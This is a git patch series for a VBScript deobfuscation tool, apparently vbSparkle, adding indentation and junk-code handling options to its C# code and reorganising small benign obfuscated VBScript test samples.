From e565a5a00a6084ace4a1a284149b4f3ff0c4266a Mon Sep 17 00:00:00 2001 From: sbruyere Date: Fri, 6 Jan 2023 16:44:45 +0100 Subject: [PATCH 01/14] - Fix sample location - Add EvaluatorOptions with following option - IndentSpacing (implemented) - PerfomPartialEvaluation (to implement) - JunkCodeProcessingMode (implemented) - SymbolRenamingMode (to implement) - Implements JunkCodeProcessingMode option in If Then Else blocks - Implements IndentSpacing in overall generated code - Propagate the Option through context overall statement visitors & scoped objects --- .../samples/sample_1.txt | 0 .../samples/sample_10.txt | 0 .../samples/sample_3.txt | 0 .../samples/sample_5.txt | 0 Resources/samples/sample_7.txt | 49 ++++++++++ .../samples/sample_9.txt | 0 .../Properties/launchSettings.json | 2 +- .../Properties/launchSettings.json | 28 +++--- Sources/vbSparkle.Web/vbSparkle.Web.csproj | 7 -- .../wwwroot/samples/sample_1.txt.deob | 5 - .../wwwroot/samples/sample_7.txt | 17 ---- .../wwwroot/samples/test_case_1.txt | 17 ---- .../wwwroot/samples/test_case_2.txt | 35 ------- Sources/vbSparkle/Helpers.cs | 4 +- .../vbSparkle/Interfaces/IVBScopeObject.cs | 2 + .../Blocks/VbCaseStatement.cs | 2 +- .../Blocks/VbDoLoopStatement.cs | 6 +- .../Blocks/VbForEachStatement.cs | 2 +- .../Blocks/VbForNextStatement.cs | 2 +- .../Blocks/VbIfBlockStmtContext.cs | 10 +- .../Blocks/VbIfElseBlockStmtContext.cs | 11 ++- .../Blocks/VbIfElseIfBlockStmtContext.cs | 6 +- .../Blocks/VbIfThenElseStatement.cs | 96 +++++++++++-------- .../Blocks/VbInlineIfBlockStmtContext.cs | 2 +- .../Blocks/VbInlineIfElseBlockStmtContext.cs | 2 +- .../Blocks/VbSelectCaseStatement.cs | 2 +- .../Blocks/VbWhileStatement.cs | 2 +- .../Blocks/VbWithStatement.cs | 2 +- .../Models/VbIdentifiedObject.cs | 5 +- .../UserScopeObjects/VbModuleBody.cs | 11 ++- .../UserScopeObjects/VbUserClass.cs | 2 +- .../UserScopeObjects/VbUserFunction.cs | 2 +- .../UserScopeObjects/VbUserScopeObject.cs | 25 +++++ .../UserScopeObjects/VbUserSub.cs | 2 +- .../vbSparkle/LanguageStatements/VbModule.cs | 4 + .../vbSparkle/Objects/NativeObjectManager.cs | 4 + .../PreProcessor/PPNativeObjectManager.cs | 1 + Sources/vbSparkle/VbAnalyser.cs | 9 +- Sources/vbSparkle/VbPartialEvaluator.cs | 54 +++++++++-- Sources/vbSparkle/VbPreProcessorsAnalyser.cs | 6 ++ vbSparkle.sln | 5 +- 41 files changed, 262 insertions(+), 179 deletions(-) rename {Sources/vbSparkle.Web/wwwroot => Resources}/samples/sample_1.txt (100%) rename Sources/vbSparkle.Web/wwwroot/samples/real_1 - Copy.txt => Resources/samples/sample_10.txt (100%) rename {Sources/vbSparkle.Web/wwwroot => Resources}/samples/sample_3.txt (100%) rename {Sources/vbSparkle.Web/wwwroot => Resources}/samples/sample_5.txt (100%) create mode 100644 Resources/samples/sample_7.txt rename {Sources/vbSparkle.Web/wwwroot => Resources}/samples/sample_9.txt (100%) delete mode 100644 Sources/vbSparkle.Web/wwwroot/samples/sample_1.txt.deob delete mode 100644 Sources/vbSparkle.Web/wwwroot/samples/sample_7.txt delete mode 100644 Sources/vbSparkle.Web/wwwroot/samples/test_case_1.txt delete mode 100644 Sources/vbSparkle.Web/wwwroot/samples/test_case_2.txt diff --git a/Sources/vbSparkle.Web/wwwroot/samples/sample_1.txt b/Resources/samples/sample_1.txt similarity index 100% rename from Sources/vbSparkle.Web/wwwroot/samples/sample_1.txt rename to Resources/samples/sample_1.txt diff --git a/Sources/vbSparkle.Web/wwwroot/samples/real_1 - Copy.txt b/Resources/samples/sample_10.txt similarity index 100% rename from Sources/vbSparkle.Web/wwwroot/samples/real_1 - Copy.txt rename to Resources/samples/sample_10.txt diff --git a/Sources/vbSparkle.Web/wwwroot/samples/sample_3.txt b/Resources/samples/sample_3.txt similarity index 100% rename from Sources/vbSparkle.Web/wwwroot/samples/sample_3.txt rename to Resources/samples/sample_3.txt diff --git a/Sources/vbSparkle.Web/wwwroot/samples/sample_5.txt b/Resources/samples/sample_5.txt similarity index 100% rename from Sources/vbSparkle.Web/wwwroot/samples/sample_5.txt rename to Resources/samples/sample_5.txt diff --git a/Resources/samples/sample_7.txt b/Resources/samples/sample_7.txt new file mode 100644 index 0000000..a05e57f --- /dev/null +++ b/Resources/samples/sample_7.txt @@ -0,0 +1,49 @@ + +Execute(chr((abs(#2019-01-01# - #2019-01-31#) * 2) +5) _ + + chr((abs(#2019-01-01# - #2019-02-01#) * 2) +4) _ + + chr((abs(#2019-01-01# - #2019-02-02#) * 2) +3) _ + + chr((abs(#2019-01-01# - #2019-02-03#) * 2) +2) _ + + chr(ASC(VBCRLF) * 13 - 100) _ + + chr(ASC(VBLF) * 17 - 100)) + + if (1=2)THEN + msgbox "1=2" + elseif (2=3) then + msgbox "2=3" + else + msgbox "no correct solutions" + end if + +if (1=2)THEN + msgbox "1=2" + else + msgbox "no correct solutions" + end if + + if (toto(3))THEN + msgbox "1=2" + elseif (2=3) then + msgbox "2=3" + else + msgbox "no correct solutions" + end if + + if (toto(3))THEN + msgbox "1=2" + elseif (2=4) then + msgbox "2=2" + elseif (2=3) then + msgbox "2=3" + elseif (3=7) then + msgbox "3=3" + else + msgbox "no correct solutions" + end if + + if (2=2)THEN + msgbox "2=2" + elseif (ambigous(1)) then + msgbox "2=3" + else + msgbox "no correct solutions" + end if \ No newline at end of file diff --git a/Sources/vbSparkle.Web/wwwroot/samples/sample_9.txt b/Resources/samples/sample_9.txt similarity index 100% rename from Sources/vbSparkle.Web/wwwroot/samples/sample_9.txt rename to Resources/samples/sample_9.txt diff --git a/Sources/vbSparkle.Console/Properties/launchSettings.json b/Sources/vbSparkle.Console/Properties/launchSettings.json index 8a64d1f..0e434ba 100644 --- a/Sources/vbSparkle.Console/Properties/launchSettings.json +++ b/Sources/vbSparkle.Console/Properties/launchSettings.json @@ -2,7 +2,7 @@ "profiles": { "vbSparkle.Console": { "commandName": "Project", - "commandLineArgs": "-p E:\\Git\\Workspaces\\CERT\\vbSparkle\\Sources\\vbSparkle.Web\\wwwroot\\samples\\sample_1.txt" + "commandLineArgs": "-p $(SolutionDir)\\Resources\\samples\\sample_7.txt" } } } \ No newline at end of file diff --git a/Sources/vbSparkle.Web/Properties/launchSettings.json b/Sources/vbSparkle.Web/Properties/launchSettings.json index 5a4bd9f..6c882fa 100644 --- a/Sources/vbSparkle.Web/Properties/launchSettings.json +++ b/Sources/vbSparkle.Web/Properties/launchSettings.json @@ -14,18 +14,22 @@ "launchUrl": "https://localhost/WebApplication1", "environmentVariables": { "ASPNETCORE_ENVIRONMENT": "Development" + } + }, + "Docker": { + "commandName": "Docker", + "launchBrowser": true, + "launchUrl": "{Scheme}://{ServiceHost}:{ServicePort}", + "environmentVariables": { + "ASPNETCORE_ENVIRONMENT": "Development", + "ASPNETCORE_URLS": "http://*:8000" }, + "applicationUrl": "http://localhost:5003/", + "httpPort": 5003 }, - "Docker": { - "commandName": "Docker", - "launchBrowser": true, - "launchUrl": "{Scheme}://{ServiceHost}:{ServicePort}", - "environmentVariables": { - "ASPNETCORE_URLS": "http://*:8000", - "ASPNETCORE_ENVIRONMENT": "Development" - }, - "httpPort": 5003, - "applicationUrl": "http://localhost:5003/" - } + "WSL": { + "commandName": "WSL2", + "distributionName": "" } - } \ No newline at end of file + } +} \ No newline at end of file diff --git a/Sources/vbSparkle.Web/vbSparkle.Web.csproj b/Sources/vbSparkle.Web/vbSparkle.Web.csproj index 9d540a5..0c79781 100644 --- a/Sources/vbSparkle.Web/vbSparkle.Web.csproj +++ b/Sources/vbSparkle.Web/vbSparkle.Web.csproj @@ -8,11 +8,6 @@ ..\.. - - - - - @@ -115,8 +110,6 @@ - - diff --git a/Sources/vbSparkle.Web/wwwroot/samples/sample_1.txt.deob b/Sources/vbSparkle.Web/wwwroot/samples/sample_1.txt.deob deleted file mode 100644 index 3b9be4f..0000000 --- a/Sources/vbSparkle.Web/wwwroot/samples/sample_1.txt.deob +++ /dev/null @@ -1,5 +0,0 @@ -Execute("wscript.echo ""hello""" & vbCrLf) - - - -Execute(Chr(456127 / 3833 ) & Chr(817650 / 7110 ) & Chr(759429 / 7671 ) & Chr(834138 / 7317 ) & Chr(57960 / 552 ) & Chr(2549 - 2437 ) & Chr(1078568 / 9298 ) & Chr(5143 - 5097 ) & Chr(0 - 8682 + 8783 ) & Chr(529 - 430 ) & Chr(673088 / 6472 ) & Chr(761682 / 6862 ) & Chr(302336 / 9448 ) & Chr(9427 - 9393 ) & Chr(410176 / 3944 ) & Chr(0 - 5271 + 5372 ) & Chr(796608 / 7376 ) & Chr(2896 - 2788 ) & Chr(318792 / 2872 ) & Chr(1076 - 1042 ) & "" & vbCrLf)Execute(Chr(456127 / 3833 ) & Chr(817650 / 7110 ) & Chr(759429 / 7671 ) & Chr(834138 / 7317 ) & Chr(57960 / 552 ) & Chr(2549 - 2437 ) & Chr(1078568 / 9298 ) & Chr(5143 - 5097 ) & Chr(0 - 8682 + 8783 ) & Chr(529 - 430 ) & Chr(673088 / 6472 ) & Chr(761682 / 6862 ) & Chr(302336 / 9448 ) & Chr(9427 - 9393 ) & Chr(410176 / 3944 ) & Chr(0 - 5271 + 5372 ) & Chr(796608 / 7376 ) & Chr(2896 - 2788 ) & Chr(318792 / 2872 ) & Chr(1076 - 1042 ) & "" & vbCrLf) \ No newline at end of file diff --git a/Sources/vbSparkle.Web/wwwroot/samples/sample_7.txt b/Sources/vbSparkle.Web/wwwroot/samples/sample_7.txt deleted file mode 100644 index accfe7c..0000000 --- a/Sources/vbSparkle.Web/wwwroot/samples/sample_7.txt +++ /dev/null @@ -1,17 +0,0 @@ -for each v in toto -msgbox toto -if (hello = coool) then -test.titi("hello") -end if -next - -Execute(chr((abs(#2019-01-01# - #2019-01-31#) * 2) +5) _ - + chr((abs(#2019-01-01# - #2019-02-01#) * 2) +4) _ - + chr((abs(#2019-01-01# - #2019-02-02#) * 2) +3) _ - + chr((abs(#2019-01-01# - #2019-02-03#) * 2) +2) _ - + chr(ASC(VBCRLF) * 13 - 100) _ - + chr(ASC(VBLF) * 17 - 100)) - -if tt(test) then -msgbox "toto" & 3*3* msgbox(time) * 3 * msgbox(time) -end if \ No newline at end of file diff --git a/Sources/vbSparkle.Web/wwwroot/samples/test_case_1.txt b/Sources/vbSparkle.Web/wwwroot/samples/test_case_1.txt deleted file mode 100644 index fc605bf..0000000 --- a/Sources/vbSparkle.Web/wwwroot/samples/test_case_1.txt +++ /dev/null @@ -1,17 +0,0 @@ -Dim test As String -test = ChrW(&H80) -Debug.Print Hex(Asc(test)) -Debug.Print Hex(AscB(test)) -Debug.Print Hex(AscW(test)) - -test = Chr(&H80) - -Debug.Print Hex(Asc(test)) -Debug.Print Hex(AscB(test)) -Debug.Print Hex(AscW(test)) - - -test = ChrW(&H4343) -Debug.Print Hex(Asc(test)) -Debug.Print Hex(AscB(test)) -Debug.Print Hex(AscW(test)) \ No newline at end of file diff --git a/Sources/vbSparkle.Web/wwwroot/samples/test_case_2.txt b/Sources/vbSparkle.Web/wwwroot/samples/test_case_2.txt deleted file mode 100644 index 10bf357..0000000 --- a/Sources/vbSparkle.Web/wwwroot/samples/test_case_2.txt +++ /dev/null @@ -1,35 +0,0 @@ -Public Sub TEST() -Debug.Print "" -Debug.Print Hex(100000000000#) -Debug.Print Hex(1000000000000#) -Debug.Print Hex(10000000000000#) -Debug.Print Hex(100000000000000#) -Debug.Print Hex(Val("1E+18")) - -Debug.Print Val("1e10") -Debug.Print Hex(Val("1e10")) -Debug.Print Hex("1e10") -Debug.Print Hex(Val("&h2540BE400")) - -Debug.Print Hex(Val("&h4540BE400")) -Debug.Print Hex(Val("&h3540BE400")) -Debug.Print Hex(Val("&hF540BE400")) -Debug.Print Hex(Val("&hDDDDDF540BE400")) -Debug.Print Val("1.3") -Debug.Print Val("13,300.3") -Debug.Print Hex("1.3") -Debug.Print Hex("1,3") -Debug.Print Hex("22,3") -Debug.Print Hex("222,3") -Debug.Print Hex("222.3") -Debug.Print Hex(22.3) -Debug.Print Hex("&hD0000") -Debug.Print Hex("&h1D0000") -Debug.Print Hex("1e10") -Debug.Print CLng("&hD000") -Debug.Print CInt(Val("&hD000")) -Debug.Print Val("&hD0000") -Debug.Print Val("&hD00000") -Debug.Print Val("&D00000") -Debug.Print Val("&10000") -End Sub diff --git a/Sources/vbSparkle/Helpers.cs b/Sources/vbSparkle/Helpers.cs index 4c3c64f..3e9c6da 100644 --- a/Sources/vbSparkle/Helpers.cs +++ b/Sources/vbSparkle/Helpers.cs @@ -22,14 +22,14 @@ internal static string IndentLines(int indent, string code) return string.Join("\r\n", lines); } - internal static string CommentLines(int indent, string code) + internal static string CommentLines(int indent, string code, string commentChr = "'") { List lines = code.Split(new string[] { "\r\n", "\r", "\n" }, StringSplitOptions.None).ToList(); for (int i = 0; i < lines.Count; i++) { if (!string.IsNullOrWhiteSpace(code)) - lines[i] = "\'" + new string(' ', indent) + lines[i]; + lines[i] = commentChr + new string(' ', indent) + lines[i]; } if (string.IsNullOrWhiteSpace(lines[lines.Count - 1])) diff --git a/Sources/vbSparkle/Interfaces/IVBScopeObject.cs b/Sources/vbSparkle/Interfaces/IVBScopeObject.cs index 9c014b5..f79b104 100644 --- a/Sources/vbSparkle/Interfaces/IVBScopeObject.cs +++ b/Sources/vbSparkle/Interfaces/IVBScopeObject.cs @@ -2,6 +2,8 @@ { public interface IVBScopeObject { + EvaluatorOptions Options { get; set; } + VbIdentifiedObject GetIdentifiedObject(string identifier); void DeclareVariable(VbUserVariable variable); diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbCaseStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbCaseStatement.cs index 7178809..80406a2 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbCaseStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbCaseStatement.cs @@ -41,7 +41,7 @@ public override DExpression Prettify(bool partialEvaluation = false) string caseCond = ElseCond ? "Else" : string.Join(", ", CondExpStmt.Select(v => v.Exp(partialEvaluation)).ToArray()); sb.AppendLine($"Case {caseCond}:"); - sb.Append(Helpers.IndentLines(4, stackBlock.Exp(partialEvaluation))); + sb.Append(Helpers.IndentLines(Context.Options.IndentSpacing, stackBlock.Exp(partialEvaluation))); return new DCodeBlock(sb.ToString()); } diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbDoLoopStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbDoLoopStatement.cs index 8db8ee6..5606927 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbDoLoopStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbDoLoopStatement.cs @@ -41,7 +41,7 @@ public override DExpression Prettify(bool partialEvaluation = false) if (Object is DlStatementContext) { retCode.AppendLine("Do"); - retCode.AppendLine(Helpers.IndentLines(4, CodeBlock.Exp(partialEvaluation))); + retCode.AppendLine(Helpers.IndentLines(Context.Options.IndentSpacing, CodeBlock.Exp(partialEvaluation))); retCode.Append("Loop"); } else @@ -51,14 +51,14 @@ public override DExpression Prettify(bool partialEvaluation = false) if (Object is DlwStatementContext) { retCode.AppendLine("Do"); - retCode.AppendLine(Helpers.IndentLines(4, CodeBlock.Exp(partialEvaluation))); + retCode.AppendLine(Helpers.IndentLines(Context.Options.IndentSpacing, CodeBlock.Exp(partialEvaluation))); retCode.Append($"Loop {whileOrUntil} {Value.Exp(partialEvaluation)}"); } if (Object is DwlStatementContext) { retCode.AppendLine($"Do {whileOrUntil} {Value.Exp(partialEvaluation)}"); - retCode.AppendLine(Helpers.IndentLines(4, CodeBlock.Exp(partialEvaluation))); + retCode.AppendLine(Helpers.IndentLines(Context.Options.IndentSpacing, CodeBlock.Exp(partialEvaluation))); retCode.Append("Loop"); } } diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbForEachStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbForEachStatement.cs index de04bc9..eed260a 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbForEachStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbForEachStatement.cs @@ -38,7 +38,7 @@ public override DExpression Prettify(bool partialEvaluation = false) StringBuilder retCode = new StringBuilder(); retCode.AppendLine($"For Each {FirstIdentifiedObject.Name} In {Value.Exp(partialEvaluation)}"); - retCode.AppendLine(Helpers.IndentLines(4, CodeBlock.Exp(partialEvaluation))); + retCode.AppendLine(Helpers.IndentLines(Context.Options.IndentSpacing, CodeBlock.Exp(partialEvaluation))); retCode.Append($"Next {SecondIdentifiedObject.Name}"); diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbForNextStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbForNextStatement.cs index 9fa8bdc..26b00aa 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbForNextStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbForNextStatement.cs @@ -39,7 +39,7 @@ public override DExpression Prettify(bool partialEvaluation = false) else retCode.AppendLine(); - retCode.AppendLine(Helpers.IndentLines(4, CodeBlock.Exp(partialEvaluation))); + retCode.AppendLine(Helpers.IndentLines(Context.Options.IndentSpacing, CodeBlock.Exp(partialEvaluation))); retCode.Append($"Next {var}"); diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfBlockStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfBlockStmtContext.cs index 5c90f7b..b06fe97 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfBlockStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfBlockStmtContext.cs @@ -19,7 +19,7 @@ public VbIfBlockStmtContext(IVBScopeObject context, IfBlockStmtContext bloc) public override DExpression Prettify(bool partialEvaluation = false) { - StringBuilder retCode = new StringBuilder(); + //StringBuilder retCode = new StringBuilder(); //bool? isExecuted = CondValue.IsExecuted(); @@ -28,22 +28,22 @@ public override DExpression Prettify(bool partialEvaluation = false) // if (isExecuted == true) // { // retCode.AppendLine($"'If {CondValue.Exp(partialEvaluation)} Then"); - // retCode.Append(Helpers.IndentLines(4, CodeBlock.Exp(partialEvaluation))); + // retCode.Append(Helpers.IndentLines(Context.Options.IndentSpacing, CodeBlock.Exp(partialEvaluation))); // } // else // { // retCode.AppendLine($"'If {CondValue.Exp(partialEvaluation)} Then"); - // retCode.Append(Helpers.CommentLines(4, CodeBlock.Exp(false))); + // retCode.Append(Helpers.CommentLines(Context.Options.IndentSpacing, CodeBlock.Exp(false))); // } //} //else //{ // retCode.AppendLine($"If {CondValue.Exp(partialEvaluation)} Then"); - retCode.Append(Helpers.IndentLines(4, CodeBlock.Exp(partialEvaluation))); + //retCode.Append(Helpers.IndentLines(Context.Options.IndentSpacing, CodeBlock.Exp(partialEvaluation))); //} - return new DCodeBlock(retCode.ToString()); + return CodeBlock.Prettify(partialEvaluation);// new DCodeBlock(retCode.ToString()); } } } \ No newline at end of file diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseBlockStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseBlockStmtContext.cs index 3ecf0b4..05eb378 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseBlockStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseBlockStmtContext.cs @@ -15,13 +15,14 @@ public VbIfElseBlockStmtContext(IVBScopeObject context, IfElseBlockStmtContext b } public override DExpression Prettify(bool partialEvaluation = false) - { - StringBuilder retCode = new StringBuilder(); + { + //{ + // StringBuilder retCode = new StringBuilder(); - //retCode.AppendLine("Else"); - retCode.Append(Helpers.IndentLines(4, CodeBlock.Exp(partialEvaluation))); + // //retCode.AppendLine("Else"); + // retCode.Append(Helpers.IndentLines(Context.Options.IndentSpacing, CodeBlock.Exp(partialEvaluation))); - return new DCodeBlock(retCode.ToString()); + return CodeBlock.Prettify(partialEvaluation);//new DCodeBlock(retCode.ToString()); } } } \ No newline at end of file diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseIfBlockStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseIfBlockStmtContext.cs index fbd336b..57648d4 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseIfBlockStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseIfBlockStmtContext.cs @@ -17,12 +17,12 @@ public VbIfElseIfBlockStmtContext(IVBScopeObject context, IfElseIfBlockStmtConte public override DExpression Prettify(bool partialEvaluation = false) { - StringBuilder retCode = new StringBuilder(); + //StringBuilder retCode = new StringBuilder(); //retCode.AppendLine($"ElseIf {CondValue.Exp(partialEvaluation)} Then"); - retCode.Append(Helpers.IndentLines(4, CodeBlock.Exp(partialEvaluation))); + //retCode.Append(Helpers.IndentLines(Context.Options.IndentSpacing, CodeBlock.Exp(partialEvaluation))); - return new DCodeBlock(retCode.ToString()); + return CodeBlock.Prettify(partialEvaluation);// new DCodeBlock(retCode.ToString()); } } } \ No newline at end of file diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs index f2d0eec..ae36bdf 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs @@ -48,58 +48,61 @@ public override DExpression Prettify(bool partialEvaluation = false) { StringBuilder retCode = new StringBuilder(); - //bool isFirstNonEvaluatedBlock = false; bool hasExecutedBlock = false; bool hasAmbigeousBlock = false; + bool isFirstBlock = true; + + string prefixRem = (Context.Options.JunkCodeProcessingMode == JunkCodeProcessingMode.Comment) ? "'" : string.Empty; + int indentLevel = Context.Options.JunkCodeProcessingMode == JunkCodeProcessingMode.Remove ? + 0: + Context.Options.IndentSpacing; + foreach (var v in IfBlocks) { - //if (v is IVbIfBlockStmt) - //{ - // IVbIfBlockStmt v2 = (IVbIfBlockStmt)v; - // var Exp = v2.CondValue.Value.Evaluate(); - // if (Exp.IsValuable) - // { - // var valueString = Exp.ToValueString(); - // (0).ToString(); - // } - // (0).ToString(); - //} + int diffCode = retCode.Length; var ifBl = v as IVbIfBlockStmt; if (ifBl != null) { var condValue = ifBl.CondValue; - bool? isExecutedBlock = condValue.IsExecuted(); - if (isExecutedBlock.HasValue) + bool? isBlockExecuted = condValue.IsExecuted(); + if (isBlockExecuted.HasValue) { - if (!hasExecutedBlock && isExecutedBlock.Value) + if (!hasExecutedBlock && isBlockExecuted.Value) { hasExecutedBlock = true; // block if executé if (hasAmbigeousBlock) { - retCode.AppendLine($"'ElseIf {condValue.Exp(partialEvaluation)} Then"); - retCode.Append(Helpers.IndentLines(4, v.Exp(partialEvaluation))); + //if (Context.Options.JunkCodeProcessingMode != JunkCodeProcessingMode.Remove) + retCode.AppendLine($"ElseIf {condValue.Exp(partialEvaluation)} Then"); + + retCode.Append(Helpers.IndentLines(indentLevel, v.Exp(partialEvaluation))); } else { - retCode.AppendLine($"'If {condValue.Exp(partialEvaluation)} Then"); - retCode.Append(Helpers.IndentLines(4, v.Exp(partialEvaluation))); + if (Context.Options.JunkCodeProcessingMode != JunkCodeProcessingMode.Remove) + retCode.AppendLine($"{prefixRem}If {condValue.Exp(partialEvaluation)} Then"); + + retCode.Append(Helpers.IndentLines(indentLevel, v.Exp(partialEvaluation))); } } else { - // block if commenté - if (hasAmbigeousBlock) + if (Context.Options.JunkCodeProcessingMode != JunkCodeProcessingMode.Remove) { - retCode.AppendLine($"'ElseIf {condValue.Exp(partialEvaluation)} Then"); - retCode.Append(Helpers.CommentLines(4, v.Exp(false))); - } - else - { - retCode.AppendLine($"'If {condValue.Exp(partialEvaluation)} Then"); - retCode.Append(Helpers.CommentLines(4, v.Exp(false))); + // block if commenté + if (hasAmbigeousBlock || !isFirstBlock) + { + retCode.AppendLine($"'ElseIf {condValue.Exp(partialEvaluation)} Then"); + retCode.Append(Helpers.CommentLines(Context.Options.IndentSpacing, v.Exp(false), prefixRem)); + } + else + { + retCode.AppendLine($"'If {condValue.Exp(partialEvaluation)} Then"); + retCode.Append(Helpers.CommentLines(Context.Options.IndentSpacing, v.Exp(false), prefixRem)); + } } } } @@ -107,8 +110,11 @@ public override DExpression Prettify(bool partialEvaluation = false) { if (hasExecutedBlock) { - retCode.AppendLine($"'ElseIf {condValue.Exp(partialEvaluation)} Then"); - retCode.Append(Helpers.CommentLines(4, v.Exp(partialEvaluation))); + if (Context.Options.JunkCodeProcessingMode != JunkCodeProcessingMode.Remove) + { + retCode.AppendLine($"'ElseIf {condValue.Exp(partialEvaluation)} Then"); + retCode.Append(Helpers.CommentLines(Context.Options.IndentSpacing, v.Exp(partialEvaluation), prefixRem)); + } } else { @@ -116,12 +122,12 @@ public override DExpression Prettify(bool partialEvaluation = false) if (hasAmbigeousBlock) { retCode.AppendLine($"ElseIf {condValue.Exp(partialEvaluation)} Then"); - retCode.Append(Helpers.IndentLines(4, v.Exp(partialEvaluation))); + retCode.Append(Helpers.IndentLines(Context.Options.IndentSpacing, v.Exp(partialEvaluation))); } else { retCode.AppendLine($"If {condValue.Exp(partialEvaluation)} Then"); - retCode.Append(Helpers.IndentLines(4, v.Exp(partialEvaluation))); + retCode.Append(Helpers.IndentLines(Context.Options.IndentSpacing, v.Exp(partialEvaluation))); } hasAmbigeousBlock = true; } @@ -132,34 +138,42 @@ public override DExpression Prettify(bool partialEvaluation = false) // Block "else" if (hasExecutedBlock) { - // block else commenté - retCode.AppendLine($"'Else"); - retCode.Append(Helpers.CommentLines(4, v.Exp(false))); + if (Context.Options.JunkCodeProcessingMode != JunkCodeProcessingMode.Remove) + { + // block else commenté + retCode.AppendLine($"{prefixRem}Else"); + retCode.Append(Helpers.CommentLines(Context.Options.IndentSpacing, v.Exp(false), prefixRem)); + } } else if (hasAmbigeousBlock) { // block else non commenté retCode.AppendLine($"Else"); - retCode.Append(Helpers.IndentLines(4, v.Exp(partialEvaluation))); + retCode.Append(Helpers.IndentLines(Context.Options.IndentSpacing, v.Exp(partialEvaluation))); } else { // block else executé - retCode.AppendLine($"'Else"); - retCode.Append(Helpers.IndentLines(4, v.Exp(partialEvaluation))); + if (Context.Options.JunkCodeProcessingMode != JunkCodeProcessingMode.Remove) + retCode.AppendLine($"{prefixRem}Else"); + + retCode.Append(Helpers.IndentLines(indentLevel, v.Exp(partialEvaluation))); } } - retCode.AppendLine(); + isFirstBlock = false; + + if (diffCode < retCode.Length) + retCode.AppendLine(); //retCode.AppendLine(v.Exp(partialEvaluation)); } if (hasAmbigeousBlock) retCode.Append("End If"); - else - retCode.Append("'End If"); + else if (Context.Options.JunkCodeProcessingMode != JunkCodeProcessingMode.Remove) + retCode.Append($"{prefixRem}End If"); return new DCodeBlock(retCode.ToString()); diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfBlockStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfBlockStmtContext.cs index c850af2..3f4d718 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfBlockStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfBlockStmtContext.cs @@ -22,7 +22,7 @@ public override DExpression Prettify(bool partialEvaluation = false) StringBuilder retCode = new StringBuilder(); retCode.AppendLine($"If {CondValue.Exp(partialEvaluation)} Then"); - retCode.Append(Helpers.IndentLines(4, CodeBlock.Exp(partialEvaluation))); + retCode.Append(Helpers.IndentLines(Context.Options.IndentSpacing, CodeBlock.Exp(partialEvaluation))); return new DCodeBlock(retCode.ToString()); } diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfElseBlockStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfElseBlockStmtContext.cs index f91a7f7..89a5894 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfElseBlockStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfElseBlockStmtContext.cs @@ -19,7 +19,7 @@ public override DExpression Prettify(bool partialEvaluation = false) StringBuilder retCode = new StringBuilder(); retCode.AppendLine("Else"); - retCode.Append(Helpers.IndentLines(4, CodeBlock.Exp(partialEvaluation))); + retCode.Append(Helpers.IndentLines(Context.Options.IndentSpacing, CodeBlock.Exp(partialEvaluation))); return new DCodeBlock(retCode.ToString()); } diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbSelectCaseStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbSelectCaseStatement.cs index 80b38fb..829a809 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbSelectCaseStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbSelectCaseStatement.cs @@ -31,7 +31,7 @@ public override DExpression Prettify(bool partialEvaluation = false) foreach (var v in CaseBlocks) { - retCode.AppendLine(Helpers.IndentLines(4, v.Exp(partialEvaluation))); + retCode.AppendLine(Helpers.IndentLines(Context.Options.IndentSpacing, v.Exp(partialEvaluation))); } retCode.Append("End Case"); diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbWhileStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbWhileStatement.cs index 14736ff..cd76dd8 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbWhileStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbWhileStatement.cs @@ 